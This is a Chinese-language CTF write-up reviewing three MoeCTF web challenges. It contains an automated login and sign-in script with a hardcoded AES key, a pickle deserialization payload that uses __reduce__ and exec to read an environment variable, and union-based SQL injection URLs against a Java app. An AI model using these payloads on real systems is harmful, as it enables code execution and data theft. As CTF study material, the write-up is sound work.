MoeCTF复盘

前言

本篇复盘仅仅是针对于本次比赛中我不会的题目进行一次复盘,对于做出来的题目并不会写上相关的题解

并且仅仅是web方向的题目

Re: 从零开始的 XDU 教书生活

该题首先要对题目提供的源码理解透彻,明白每个函数的功能

题目要求是要让每个学生都正常签到才可以获得flag

其实本质上就是需要我们重复发送请求

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
from Crypto.Cipher import AES
import base64

# 请替换为您的靶机
BASE_URL = "http://127.0.0.1:8888"

def encrypt_by_aes(data: str, key: str, iv: str) -> str:
key_bytes = key.encode("utf-8")
iv_bytes = iv.encode("utf-8")
cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
data_bytes = data.encode("utf-8")
pad = 16 - len(data_bytes) % 16
data_bytes = data_bytes + bytes([pad] * pad)
encrypted_bytes = cipher.encrypt(data_bytes)
encrypted = base64.b64encode(encrypted_bytes).decode("utf-8")
return encrypted

def login(phone: str, password: str):
url = f"{BASE_URL}/fanyalogin"
key = "u2oh6Vu^HWe4_AES"
iv = "u2oh6Vu^HWe4_AES"
encrypted_phone = encrypt_by_aes(phone, key, iv)
encrypted_password = encrypt_by_aes(password, key, iv)
data = {
"uname": encrypted_phone,
"password": encrypted_password,
"t": "true"
}

session = requests.Session()
response = session.post(url, data=data)
response_data = response.json()

if response_data.get("status"):
return session
else:
print("Login failed:", response_data.get("msg2"))
return None

def get_unsigned_student_accounts(session):
url = f"{BASE_URL}/widget/sign/pcTeaSignController/showSignInfo1"
response = session.get(url)
response_data = response.json()
students = response_data["data"]["changeUnSignList"]
return students

def get_sign_code(session):
url = f"{BASE_URL}/v2/apis/sign/refreshQRCode"
response = session.get(url)
response_data = response.json()
if response_data.get("result") == 1:
return response_data["data"]["signCode"], response_data["data"]["enc"]
else:
print("Failed to get sign code:", response_data.get("errorMsg"))
return None, None

def sign_in(session, sign_code: str, enc: str):
url = f"{BASE_URL}/widget/sign/e"
params = {
"id": str(active_id),
"c": sign_code,
"enc": enc
}
response = session.get(url, params=params)
return response.text

def end_active(session):
url = f"{BASE_URL}/widget/active/endActive"
response = session.get(url)
response_data = response.json()
if response_data.get("result") == 1:
return response_data.get("errorMsg")
else:
print("Failed to end activity:", response_data.get("errorMsg"))
return None

if __name__ == "__main__":
teacher_phone = "10000"
teacher_password = "10000"
active_id = 4000000000000

teacher_session = login(teacher_phone, teacher_password)
if teacher_session:
students = get_unsigned_student_accounts(teacher_session)
sign_code, enc = get_sign_code(teacher_session)

for student in students:
student_session = login(str(student["uid"]), str(student["uid"]))
if student_session and sign_code and enc:
sign_in_response = sign_in(student_session, sign_code, enc)
print(f"Student {student['uid']} sign in response:", sign_in_response)

flag = end_active(teacher_session)
print("Flag:", flag)

PetStore

本题的关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
def import_pet(self, serialized_pet) -> bool:
try:
pet_data = base64.b64decode(serialized_pet)
pet = pickle.loads(pet_data)
if isinstance(pet, Pet):
for i in self.pets:
if i.uuid == pet.uuid:
return False
self.pets.append(pet)
return True
return False
except Exception:
return False

可以看出来是调用了pickle的反序列化,所以我们的思路就是生成一个恶意的类对象,对其 Pickle 序列化后进行 Base64 编码,把得到的结果传入 import_pet() 方法就可以了

上网搜索下该怎么利用,发现只要被序列化的对象中存在__reduce__方法,pickle 模块会调用这个方法来获 取对象的序列化信息。 __reduce__ 方法应返回一个元组,这个元组包含两个元素:

  1. 一个可调用对象:通常是一个构造器或一个函数。这个对象在反序列化时被调 用,用于创建新的对象实例。
  2. 一个元组:包含传递给可调用对象的参数。当反序列化时,这个元组中的参数会 传递给第一个元素(可调用对象)。

当反序列化时,pickle 模块会按照以下步骤操作:

  1. 调用第一个元素(可调用对象)并传入第二个元素(元组)的解包结果作为参数。
  2. 使用可调用对象的返回值作为反序列化的结果。

__reduce__()其实是object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python要求该方法返回一个字符串或者元组。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该callable就会被调用,参数为para1、para2...

从 Dockerfile 中可以知道,题目环境中的 Python 版本是 3.12.4,且 flag 存储在环境变量 FLAG 中

我本人是通过建一个docker容器来实现序列化过程的(不是很想再配环境,比较麻烦)

序列化的python代码如下:

1
2
3
4
5
6
7
8
import base64
import pickle
class Test:
   def __reduce__(self):
       return (exec, ("import os;
store.create_pet(os.getenv('FLAG'), 'flag');",))
if __name__ == "__main__":
   print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

将序列化后的内容输入Import a Pet中,便可以在主页面看到flag的内容了

序列化后的内容被题目反序列化后执行的代码为exec("import os; store.create_pet('flag', os.getenv('FLAG'));")

smbms

该题为java代码审计

由于本人刚刚学完java基础,代码审计起来还是比较困难

在审计的过程中可以发现整个 java 项目都使用 PrepareStatement 预编译语句,所以一般情况下是不能注入的

但是方式都有例外,那些基础的sql语句虽然全部都是预编译过了的,但是后面还有另外增添部分查询条件的

就比如java/top/sxrhhh/dao/user/UserDaoImpl.java 文件中的getUserList函数便出现了字符串拼接的情况

1
2
3
4
if (!StringUtils.isNullOrEmpty(userName)) {
// 添加用户名查询条件
sql.append(" and u.userName like '%").append(userName).append("%'");
}

可以发现userName参数是直接插入进sql语句进行条件校正的,单引号包括,所以我们可以尝试逃出单引号再拼接自己的sql语句

但是要执行这个函数(即查询用户),我们需要先登录进后台

所以进行爆破,账号名为admin,密码为1234567

进入后台到查询用户处,开始sql注入,其中的%25就是%的url编码

1
/jsp/user.do?method=query&queryName=1%25'union select 1,2,database(),4,5,6,7,8,9,1,1,1,1,1 where '1' like '%251&queryUserRole=0&pageIndex=1

image-20241017152551521

这里最好是使用直接闭合的方式(我之前采用注释掉后面sql语句的方式并没有奏效)

接下来都是union注入的过程,便不一一列举了

1
2
3
/jsp/user.do?method=query&queryName=
1%25' union select 1,1,group_concat(flag),4,5,6,7,8,9,1,1,1,1,1
from flag where '1'like'%251&queryUserRole=0&pageIndex=1

拿到flag,题目解决